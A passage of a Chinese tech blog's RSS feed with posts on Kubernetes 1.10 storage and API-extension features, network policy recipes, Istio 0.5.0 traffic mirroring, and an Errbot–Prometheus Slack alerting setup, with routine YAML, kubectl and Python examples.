&lt;p&gt;过去，&lt;a href=&#34;https://github.com/jetstack/cert-manager&#34; target=&#34;_blank&#34;&gt;Cert-Manager（注 6）&lt;/a&gt;或者 &lt;a href=&#34;https://github.com/jetstack/navigator&#34; target=&#34;_blank&#34;&gt;Navigator（注 7）&lt;/a&gt;这样的第三方 Kubernetes 扩展总会显示一些这样的信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl get certificates
NAME        AGE
prod-tls    4h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然而现在的版本中，可以通过对扩展的配置来展示更多有用的信息，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl get certificates
NAME        STATUS    EXPIRY        ISSUER
prod-tls    Valid     2018-05-03    letsencrypt-prod

$ kubectl get elasticsearchclusters
NAME       HEALTH    LEADERS    DATA    INGEST
logging    Green     3/3        4/4     2/2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样给 API 扩展带来一种原生的风格，让用户能够快速的获取有意义的数据。&lt;/p&gt;

&lt;h2 id=&#34;卷调度和本地存储&#34;&gt;卷调度和本地存储&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Richard Wall&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;新版本中，我们很高兴地看到&lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/59391&#34; target=&#34;_blank&#34;&gt;本地存储升级到 Beta 阶段（注 8）&lt;/a&gt;，并且&lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/59391&#34; target=&#34;_blank&#34;&gt;缺省启用了卷调度（注 8）&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;相关的 API 发生了一些变化：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/volumes/#local&#34; target=&#34;_blank&#34;&gt;PV（注 9）&lt;/a&gt;加入了&lt;code&gt;PersistentVolume.Spec.NodeAffinity&lt;/code&gt;字段，其中应包含本地节点的主机名。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/storage-classes/#local&#34; target=&#34;_blank&#34;&gt;StorageClass（注 10）&lt;/a&gt;新增了&lt;code&gt;StorageClass.volumeBindingMode: WaitForFirstConsumer&lt;/code&gt;选项，要求 Kubernetes 等到 Pod 和 PV 成功完成调度规划之后才进行绑定。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/jetstack/navigator/&#34; target=&#34;_blank&#34;&gt;在 Kubernetes 集群中使用 Navigator 管理 Cassandra 数据库（注 11）&lt;/a&gt;就使用这一特性。如果为每个可用的 SSD 加入一个 PV，并且如果 PV 设置了必要的节点亲和性，Kubernetes 会综合 PV 的调度决策，来确定把 Pod 分配到具有未使用 SSD 的节点上去。我们会就这个话题另外写一篇博客。&lt;/p&gt;

&lt;p&gt;另外我还要推荐阅读 &lt;a href=&#34;https://engineering.salesforce.com/provisioning-kubernetes-local-persistent-volumes-61a82d1d06b0&#34; target=&#34;_blank&#34;&gt;Provisioning Kubernetes Local Persistent Volumes（注 12）&lt;/a&gt;，本文描述了一种利用 DaemonSet 自动发现和准备本地卷的优雅方式，以及&lt;a href=&#34;https://github.com/kubernetes-incubator/external-storage/tree/master/local-volume&#34; target=&#34;_blank&#34;&gt;local PV provisioner（注 13）&lt;/a&gt;。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;http://blog.kubernetes.io/2018/03/kubernetes-1.10-stabilizing-storage-security-networking.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/kubernetes/kubernetes/pull/57973&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.kernel.org/doc/Documentation/cgroup-v1/pids.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/kubernetes/kubernetes/pull/55168&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://blog.jetstack.io/blog/resource-and-custom-metrics-hpa-v2/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/jetstack/cert-manager&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/jetstack/navigator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/kubernetes/kubernetes/pull/59391&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://kubernetes.io/docs/concepts/storage/volumes/#local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://kubernetes.io/docs/concepts/storage/storage-classes/#local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/jetstack/navigator/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://engineering.salesforce.com/provisioning-kubernetes-local-persistent-volumes-61a82d1d06b0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/kubernetes-incubator/external-storage/tree/master/local-volume&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 网络策略指南</title>
      <link>/post/network-policy-for-k8s/</link>
      <pubDate>Wed, 28 Feb 2018 22:57:14 +0800</pubDate>
      <guid>/post/network-policy-for-k8s/</guid>
      <description>

&lt;p&gt;&lt;img src=&#34;images/have-fun.gif&#34; alt=&#34;You can get stuff like this&#34; /&gt;
&lt;em&gt;有了网络策略，你也做得到！&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;这里包含一系列的 &lt;a href=&#34;https://kubernetes.io/docs/concepts/services-networking/network-policies/&#34; target=&#34;_blank&#34;&gt;Kubernetes 网络策略&lt;/a&gt;的相关用例以及相关的 YAML 文件。想要知道如何在 Kubernetes 中对某一应用的流量进行阻拦或者限制，请继续阅读。&lt;/p&gt;

&lt;p&gt;尝试网络策略的最简单方法就是创建一个新的 &lt;a href=&#34;https://cloud.google.com/container-engine&#34; target=&#34;_blank&#34;&gt;Google Container Engine 集群&lt;/a&gt;。在现有集群上应用网络策略，可能会造成网络中断。在成文期间，多数云供应商尚未提供内置的网络策略支持。&lt;/p&gt;

&lt;p&gt;如果你对网络策略一窍不通，建议首先阅读我的文章：&lt;a href=&#34;https://ahmet.im/blog/kubernetes-network-policy/&#34; target=&#34;_blank&#34;&gt;Securing Kubernetes Cluster Networking&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;开始之前&#34;&gt;开始之前&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;创建集群&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;基础&#34;&gt;基础&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;拦截到一个应用的所有流量&lt;/li&gt;
&lt;li&gt;限制到一个应用的流量&lt;/li&gt;
&lt;li&gt;允许所有目标为某个应用的流量&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;命名空间&#34;&gt;命名空间&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;拦截当前命名空间中，所有白名单之外的流量&lt;/li&gt;
&lt;li&gt;拦截所有来自于其他命名空间的流量&lt;/li&gt;
&lt;li&gt;允许来自所有命名空间的，目标为某应用的流量&lt;/li&gt;
&lt;li&gt;允许所有来自于某命名空间的流量&lt;/li&gt;
&lt;li&gt;允许来自某命名空间某些 Pod 的流量&lt;/li&gt;
&lt;li&gt;限制当前命名空间内到某应用的流量&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;控制外部客户端流量&#34;&gt;控制外部客户端流量&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;允许外部客户端的流量&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;进阶&#34;&gt;进阶&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;只允许目标为指定端口的流量&lt;/li&gt;
&lt;li&gt;用多个选择器选择允许通过的流量&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;控制外发流量-egress&#34;&gt;控制外发流量（Egress）&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;拦截来自某应用的外发流量&lt;/li&gt;
&lt;li&gt;拦截命名空间内所有白名单之外的 Egress 流量&lt;/li&gt;
&lt;li&gt;限制来从指定应用到某些 Pod 的 egress 流量。&lt;/li&gt;
&lt;li&gt;只允许目标是命名空间内某 Pod 的流量。&lt;/li&gt;
&lt;li&gt;拦截外部的 egress 流量&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&#34;作者&#34;&gt;作者&lt;/h2&gt;

&lt;p&gt;Ahmet Alp Balkan (&lt;a href=&#34;https://twitter.com/ahmetb&#34; target=&#34;_blank&#34;&gt;@ahmetb&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Copyright 2017, Google Inc. Distributed under Apache License Version 2.0 ,see &lt;a href=&#34;LICENSE&#34; target=&#34;_blank&#34;&gt;LICENSE&lt;/a&gt; for details.&lt;/p&gt;

&lt;p&gt;声明: 这并非 Google 官方文档。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>istio 0.5.0 新特性：流量镜像</title>
      <link>/post/istio-shadow-traffic/</link>
      <pubDate>Tue, 13 Feb 2018 07:52:05 +0800</pubDate>
      <guid>/post/istio-shadow-traffic/</guid>
      <description>

&lt;p&gt;在类似 Dark launch 的测试、发布过程中，流量复制是个非常有用的功能，istio 0.5.0 的更新，带来了一个新的路由相关特性：流量镜像。&lt;/p&gt;

&lt;p&gt;这一场景中，我们会将正常的流量进行复制，将复制出来的流量分发给待上线的应用(V2)，使用实际流量对新版本应用进行测试；而现有客户端则仅会感知到单一版本(V1)的存在。&lt;/p&gt;

&lt;p&gt;下面做个小实验来进行验证。&lt;/p&gt;

&lt;h2 id=&#34;条件&#34;&gt;条件&lt;/h2&gt;

&lt;p&gt;基于 Kubernetes 运行的 Istio 0.5.0 版本部署。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;源码见后。&lt;/p&gt;

&lt;p&gt;用&lt;code&gt;nginx:stabel-alpine&lt;/code&gt;镜像，生成&lt;code&gt;v1&lt;/code&gt;和&lt;code&gt;v2&lt;/code&gt;两个版本的 Deployment，以及一个&lt;code&gt;target&lt;/code&gt;服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;istioctl kube-inject -f v1.deploy.yaml| kubectl apply -f -
istioctl kube-inject -f v2.deploy.yaml| kubectl apply -f -
kubectl apply -f service.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用&lt;code&gt;dustise/sleep&lt;/code&gt;镜像作为客户端服务，来制造请求访问目标服务。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;istioctl kube-inject -f sleep.yaml | kubectl apply -f -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用&lt;code&gt;kubectl get po&lt;/code&gt;验证 Pod 生成情况，就绪之后开始进行验证。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;NAME                         READY     STATUS    RESTARTS   AGE
sleep-6f569f4c9-hs6wx        2/2       Running   0          10m
target-v1-7f78d974c-mfhzz    2/2       Running   0          1h
target-v2-5886cd585d-tr22d   2/2       Running   0          1h
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;验证&#34;&gt;验证&lt;/h2&gt;

&lt;h3 id=&#34;初始化&#34;&gt;初始化&lt;/h3&gt;

&lt;p&gt;首先我们生成一个缺省路由，将全部流量引入 v1：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: RouteRule
metadata:
  name: rule-all-http
spec:
  destination:
    name: target
  precedence: 1
  route:
  - labels:
      app: target
      version: v1
    weight: 100
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用&lt;code&gt;kubectl apply -f rules.yaml&lt;/code&gt;应用这一规则。&lt;/p&gt;

&lt;p&gt;接下来监控 nginx 的访问日志：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl logs -f [v1-pod] -c nginx
kubectl logs -f [v2-pod] -c nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;或者可以使用 &lt;code&gt;kubetail&lt;/code&gt; 工具：&lt;code&gt;kubetail target -c nginx&lt;/code&gt;，对部署内容的日志进行监控。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;kubectl exec -it [sleep-pod] -c sleep bash&lt;/code&gt; 进入客户端服务 Pod，执行&lt;code&gt;curl http://target&lt;/code&gt;，会看到在 &lt;code&gt;v1&lt;/code&gt; Pod 中出现了访问迹象：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[target-v1-7f78d974c-mfhzz] 127.0.0.1 - - [12/Feb/2018:15:28:30 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;-&amp;quot;
[target-v1-7f78d974c-mfhzz] 127.0.0.1 - - [12/Feb/2018:15:28:31 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;-&amp;quot;
[target-v1-7f78d974c-mfhzz] 127.0.0.1 - - [12/Feb/2018:15:28:32 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;-&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;开始镜像&#34;&gt;开始镜像&lt;/h3&gt;

&lt;p&gt;修改路由规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: RouteRule
metadata:
  name: rule-all-http
spec:
  destination:
    name: target
  precedence: 1
  route:
  - labels:
      app: target
      version: v1
    weight: 100
  - labels:
      app: target
      version: v2
    weight: 0
  mirror:
    name: target
    labels:
      app: target
      version: v2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;这里为 &lt;code&gt;v2&lt;/code&gt; 建立了一个权重为 &lt;code&gt;0&lt;/code&gt; 的路由项，这是一个硬性规定，启用 &lt;code&gt;mirror&lt;/code&gt; 的路由必须要在上面的 &lt;code&gt;route&lt;/code&gt; 中具备一致的入口，以此通知 Envoy 进行相应的数据面操作。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl apply -f rules.yaml&lt;/code&gt; 来更新路由规则。&lt;/p&gt;

&lt;p&gt;再次在客户端 Pod 中访问 &lt;code&gt;target&lt;/code&gt; 服务，会发现两个版本的 Pod 中都出现了访问日志，并且数量上是一一对应的：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[target-v2-5886cd585d-tr22d] 127.0.0.1 - - [12/Feb/2018:15:20:16 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;10.240
.0.29&amp;quot;
[target-v1-7f78d974c-mfhzz] 127.0.0.1 - - [12/Feb/2018:15:20:16 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;-&amp;quot;
[target-v2-5886cd585d-tr22d] 127.0.0.1 - - [12/Feb/2018:15:20:17 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;10.240
.0.29&amp;quot;
[target-v1-7f78d974c-mfhzz] 127.0.0.1 - - [12/Feb/2018:15:20:17 +0000] &amp;quot;GET / HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;curl/7.38.0&amp;quot; &amp;quot;-&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;从语法来看，仅支持一个复制&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;源码&#34;&gt;源码&lt;/h2&gt;

&lt;h3 id=&#34;v1-deploy-yaml&#34;&gt;v1.deploy.yaml&lt;/h3&gt;

&lt;p&gt;将 &lt;code&gt;v1&lt;/code&gt; 替换成 &lt;code&gt;v2&lt;/code&gt; 生成另外一个部署。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: target-v1
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: target
        version: v1
    spec:
      containers:
      - image: nginx:stable-alpine
        imagePullPolicy: IfNotPresent
        name: nginx
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;sleep-yaml&#34;&gt;sleep.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: target
  labels:
    app: target
spec:
  ports:
  - name: http
    port: 80
  selector:
    app: target
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;sleep-yaml-1&#34;&gt;sleep.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: sleep
  labels:
    app: sleep
    version: v1
spec:
  selector:
    app: sleep
    version: v1
  ports:
    - name: ssh
      port: 80
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
      - name: sleep
        image: dustise/sleep
        imagePullPolicy: IfNotPresent
---
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>ChatBot：在 Slack 中使用监控和告警</title>
      <link>/post/errbot-on-slack/</link>
      <pubDate>Wed, 07 Feb 2018 05:30:24 +0800</pubDate>
      <guid>/post/errbot-on-slack/</guid>
      <description>

&lt;p&gt;前面文章中我们使用 Errbot 通过 Kubernetes API 在 Slack 中进行 Kubernetes 查询。这种方式很局限。毕竟拉更多组件下水，写更多代码才是大势所趋 LOL。本文以 Istio 中的响应时间监控为例，看看 Errbot 和 Prometheus 的互动。&lt;/p&gt;

&lt;h2 id=&#34;前提&#34;&gt;前提&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Istio&lt;/li&gt;
&lt;li&gt;Prometheus&lt;/li&gt;
&lt;li&gt;公网部署&lt;/li&gt;
&lt;li&gt;接入 Slack 的 Errbot&lt;/li&gt;
&lt;li&gt;Errbot 开放 3141 端口，能够被 Alertmanager 使用。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;这里只是介绍一下这种思路，例子要求比较高，源文件也不会很完整。要投入实际使用，需要更多配合。&lt;/li&gt;
&lt;li&gt;选择 Istio 做监控目标，只是因为目前环境方便，并无特殊含义。&lt;/li&gt;
&lt;li&gt;Errbot 的 Slack 接入在之前的文章有一些介绍可以参考。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;在-bot-中获取监控指标&#34;&gt;在 Bot 中获取监控指标&lt;/h2&gt;

&lt;p&gt;Prometheus 提供了很方便的 &lt;a href=&#34;https://prometheus.io/docs/prometheus/latest/querying/api/&#34; target=&#34;_blank&#34;&gt;HTTP API（注 1）&lt;/a&gt;，简单的使用 HTTP 客户端即可获取。下面的表达式用于从 Istio 中获取响应时间的 p99 指标：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    histogram_quantile(0.99,
    sum(irate(istio_request_duration_bucket[1m]))
    by (source_service, source_version,
    destination_service, destination_version, le))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里为行文方便，直接硬编码，实际上可以通过查询模板、Bot 参数等方式，获得更灵活的查询。或者更加简单粗暴的，在聊天室向 Bot 提供查询公式直接查询。&lt;/p&gt;

&lt;p&gt;下面的代码，会将 Prometheus 中的指标，在 Slack 中以卡片的方式输出到指定聊天室中。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;指定一个 &lt;code&gt;query&lt;/code&gt; 参数，取值为刚才提到的 Prometheus 查询语句，&lt;code&gt;{&amp;quot;query&amp;quot;: prom}&lt;/code&gt;的形式进行 URL Encode。&lt;/li&gt;
&lt;li&gt;API 指令发出后，Prometheus 会响应一段 JSON 报文，报文的&lt;code&gt;result&lt;/code&gt;字段包含一个列表，包含了各个服务的各个版本之间的通信响应时间。&lt;/li&gt;
&lt;li&gt;这里使用 Errbot 的 &lt;a href=&#34;http://errbot.io/en/latest/errbot.botplugin.html#errbot.botplugin.BotPlugin.send_card&#34; target=&#34;_blank&#34;&gt;send_card（注 2）&lt;/a&gt;功能，通过 Field 方式逐个输出服务记录。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;room = self.build_identifier(&amp;quot;#bot&amp;quot;)&lt;/code&gt;，使用 &lt;a href=&#34;http://errbot.io/en/latest/errbot.botplugin.html#errbot.botplugin.BotPlugin.build_identifier&#34; target=&#34;_blank&#34;&gt;self.build_identifier（注 3）&lt;/a&gt;设置发送目标。&lt;/li&gt;
&lt;li&gt;代码放入 Errbot 插件之后，私聊窗口输入&lt;code&gt;!restart&lt;/code&gt;，重启。会看到 Errbot 发出重启信息之后断线。&lt;/li&gt;
&lt;li&gt;等 Errbot 再次在线，在聊天室输入指令&lt;code&gt;!service quality&lt;/code&gt;，会看到类似如下的信息回应：&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/errbot-prom1.png&#34; alt=&#34;metrics&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;使用-bot-接收-prometheus-告警&#34;&gt;使用 Bot 接收 Prometheus 告警&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;实际上 Prometheus 的 Alert Manager 提供了到 Slack 的集成，这里纯属演示，绕了个远。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;配置-bot&#34;&gt;配置 Bot&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;在聊天室私信中发布命令 &lt;code&gt;!plugin config Webserver {&#39;HOST&#39;: &#39;0.0.0.0&#39;,&#39;PORT&#39;: 3141}&lt;/code&gt;，要求 Errbot 开放端口启动 Webhook 服务。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;同样的使用私信发送命令 &lt;code&gt;!status&lt;/code&gt;，查询插件运行状态，可以看到 &lt;code&gt;Webserver&lt;/code&gt; 已经启动。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/bot-status.png&#34; alt=&#34;Bot Status&#34; /&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;为 Bot 插件加入 Webhook 代码，并重新启动 Bot，这里定义了路径&lt;code&gt;alertmanager&lt;/code&gt;用于接受告警，同样使用卡片方式，发送告警信息到&lt;code&gt;bot&lt;/code&gt;频道，在卡片中显示告警的相关服务及其版本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;def alertmanager(self, data):
  &amp;quot;&amp;quot;&amp;quot;Webhook for alerts from Prometheus&amp;quot;&amp;quot;&amp;quot;
  target = self.build_identifier(&amp;quot;#bot&amp;quot;)
  self.send(target, &amp;quot;Alert!!&amp;quot;)
  for alert in data[&#39;alerts&#39;]:
      self.send_card(
          to=target,
          summary=&#39;[{}] {}&#39;.format(
              data[&#39;status&#39;].upper(),
              data[&#39;commonLabels&#39;][&#39;alertname&#39;]
          ),
          title=&amp;quot;Prometheus Alert&amp;quot;,
          fields=[(&#39;From&#39;, alert[&#39;annotations&#39;][&#39;from&#39;]),
                  (&#39;To&#39;, alert[&#39;annotations&#39;][&#39;to&#39;])],
          body=alert[&#39;annotations&#39;][&#39;summary&#39;]
      )
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;prometheus-配置&#34;&gt;Prometheus 配置&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;配置 Prometheus 告警规则：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用前面提到的同一个公式&lt;/li&gt;
&lt;li&gt;使用注解来传递应用标签&lt;/li&gt;

&lt;li&gt;&lt;p&gt;这里我们配置大于 3 秒钟的耗时发生告警&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;groups:
- name: fake
rules:
- alert: rules-alert
expr: |
    histogram_quantile(0.99,
    sum(irate(istio_request_duration_bucket[1m]))
    by (source_service, source_version,
    destination_service, destination_version, le)) &amp;gt; 3
for: 1m
labels:
    alertname: &amp;quot;request-duration-3&amp;quot;
annotations:
    summary: &amp;quot;Request duration gt 3&amp;quot;
    from: &amp;quot;{{ $labels.source_service }}:{{ $labels.source_version }}&amp;quot;
    to: &amp;quot;{{ $labels.destination_service }}:{{ $labels.destination_version }}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;配置和重启 Alert Manager，定义使用 Web hook 通知 errbot 发送告警到 Slack：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;route:
    receiver: &#39;webhook&#39;
    group_wait: 30s
    group_interval: 5m
    repeat_interval: 4h
    group_by: [&#39;from&#39;, &#39;to&#39;]
    routes:

receivers:
- name: &#39;webhook&#39;
    webhook_configs:
    - url: &amp;quot;http://errbot.default:3141/alertmanager&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Prometheus 连接到 AlertManager 上，用于发送告警，修改后重启 Prometheus：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;alerting:
alertmanagers:
- scheme: http
  static_configs:
  - targets:
    - &amp;quot;alertmanager:9093&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;运行&#34;&gt;运行&lt;/h2&gt;

&lt;p&gt;在负载上调用耗时操作，例如持续访问&lt;code&gt;httpbin&lt;/code&gt;的&lt;code&gt;/delay/5&lt;/code&gt;指令，满足标准后，可以看到，告警的传递线路：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/prom-alert.png&#34; alt=&#34;prom alert&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/alert-alert.png&#34; alt=&#34;alert alert&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/slack-alert-card.png&#34; alt=&#34;slack alert&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;注&#34;&gt;注&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;https://prometheus.io/docs/prometheus/latest/querying/api/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://errbot.io/en/latest/errbot.botplugin.html#errbot.botplugin.BotPlugin.send_card&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://errbot.io/en/latest/errbot.botplugin.html#errbot.botplugin.BotPlugin.build_identifier&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;附录&#34;&gt;附录&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;查询&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;@botcmd
def service_quality(self, message, args):
url = &amp;quot;http://prometheus-server.kube-system/api/v1/query?&amp;quot;
prom = &amp;quot;&amp;quot;&amp;quot;
histogram_quantile(0.99,
sum(irate(istio_request_duration_bucket[1m]))
by (source_service, source_version,
destination_service, destination_version, le))
&amp;quot;&amp;quot;&amp;quot;
query = {&amp;quot;query&amp;quot;: prom}
query = urlencode(query)
f = urllib.request.urlopen(url + query)
resp = f.read()
record_list = json.loads(resp)
room = self.build_identifier(&amp;quot;#bot&amp;quot;)
field_list = []
for record in record_list[&amp;quot;data&amp;quot;][&amp;quot;result&amp;quot;]:
    metric = record[&amp;quot;metric&amp;quot;]
    value = record[&amp;quot;value&amp;quot;]
    domain = &amp;quot;.svc.cluster.local&amp;quot;
    field = (&amp;quot;From {}:{} to {}:{}&amp;quot;.format(
        metric[&amp;quot;source_service&amp;quot;].replace(domain, &amp;quot;&amp;quot;),
        metric[&amp;quot;source_version&amp;quot;],
        metric[&amp;quot;destination_service&amp;quot;].replace(domain, &amp;quot;&amp;quot;),
        metric[&amp;quot;destination_version&amp;quot;],
    ), value[-1])
    field_list.append(field)
self.send_card(to=room, body=prom,
               title=&amp;quot;Query Statement&amp;quot;, summary=&amp;quot;From prometheus&amp;quot;,
               color=&amp;quot;green&amp;quot;, fields=field_list)
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>在 Azure 上运行 Istio 的注意事项</title>
      <link>/post/istion-on-azure-k8s/</link>
      <pubDate>Fri, 02 Feb 2018 23:04:20 +0800</pubDate>
      <guid>/post/istion-on-azure-k8s/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;ACS Engine: v0.12.4&lt;/li&gt;
&lt;li&gt;Istio: v0.5.0&lt;/li&gt;
&lt;li&gt;Kubernetes: v1.8.7&lt;/li&gt;
&lt;/ul&gt;

